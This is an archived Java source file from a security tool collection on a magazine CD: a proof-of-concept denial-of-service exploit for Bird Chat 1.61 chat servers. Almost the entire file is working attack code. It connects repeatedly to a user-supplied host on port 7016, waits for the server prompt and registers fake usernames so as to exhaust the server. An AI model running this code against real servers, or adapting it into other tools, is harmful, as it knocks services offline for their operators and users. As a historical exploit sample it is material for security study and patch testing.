home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / birdchat / birdCahtDOSExploit.java.txt < prev   
Text File  |  2005-02-12  |  2KB  |  137 lines

  1.  
  2. /*
  3.      Bird Chat 1.61 - Denial Of Service - Proof Of Concept
  4.      Coded by: Donato Ferrante
  5. */
  6.  
  7.  
  8.  
  9. import java.net.Socket;
  10. import java.net.InetAddress;
  11. import java.net.ConnectException;
  12. import java.net.SocketTimeoutException;
  13. import java.io.OutputStream;
  14. import java.io.InputStream;
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22. public class BirdChat161_DoS_poc {
  23.  
  24.  
  25.  
  26. private final static int MAX_CONNECTION = 16;
  27. private final static int PORT = 7016;
  28. private final static String VERSION = "0.1.0";
  29.  
  30.  
  31.  
  32. public static void main(String [] args){
  33.  
  34.  
  35.  
  36.    System.out.println(
  37.                       "\n\nBird Chat 1.61 - Denial Of Service - Proof Of Concept\n" +
  38.                       "Version: " + VERSION + "\n\n"                 +
  39.                       "coded by: Donato Ferrante\n"                  +
  40.                       "e-mail:   fdonato@autistici.org\n"            +
  41.                       "web:      www.autistici.org/fdonato\n\n"
  42.                      );
  43.  
  44.  
  45.     String host = "localhost";
  46.  
  47.         try{
  48.  
  49.             if(args.length != 1)
  50.                 usage();
  51.  
  52.                 host = args[0];
  53.  
  54.         }catch(Exception e){usage();}
  55.     
  56.         try{
  57.  
  58.  
  59.             int i = 1,
  60.                 var = 0;
  61.  
  62.  
  63.            while(i++ <= MAX_CONNECTION){
  64.  
  65.             try{
  66.  
  67.                 String err = "";
  68.                 int port = PORT;
  69.                 InetAddress addr = InetAddress.getByName(host);
  70.                 Socket socket = new Socket(addr, port);
  71.                 socket.setSoTimeout(3000);
  72.  
  73.  
  74.  
  75.                 InputStream stream = socket.getInputStream();
  76.  
  77.                    int line = stream.read();
  78.                     while(line != -1){
  79.  
  80.                         if(line == '?'){
  81.                             break;
  82.                         }
  83.  
  84.                         line = stream.read();
  85.  
  86.                     }
  87.  
  88.  
  89.                 OutputStream outStream = socket.getOutputStream();
  90.                 outStream.write(("*user=fake_user0" + ++var + "\n").getBytes());
  91.  
  92.  
  93.                 int count = 0;
  94.                 line = stream.read();
  95.                     while(true){
  96.  
  97.                         line = stream.read();
  98.  
  99.                         if(line == '\n')
  100.                             count++;
  101.  
  102.                         if(count >= 3)
  103.                             break;
  104.                 }
  105.  
  106.  
  107.             }catch(SocketTimeoutException ste){break;}
  108.             catch(ConnectException ce){System.err.println(ce); continue;}
  109.         }
  110.  
  111.  
  112.         }catch(Exception e){System.err.println(e);}
  113.  
  114.         System.out.println("\nBird Chat - Denial Of Service - Proof_Of_Concept terminated.\n\n");
  115.     }
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.     private static void usage(){
  124.  
  125.         System.out.println("Usage: java BirdChat161_DoS_poc <host>\n\n");    
  126.         System.exit(-1);
  127.     }
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134. }
  135.  
  136.  
  137.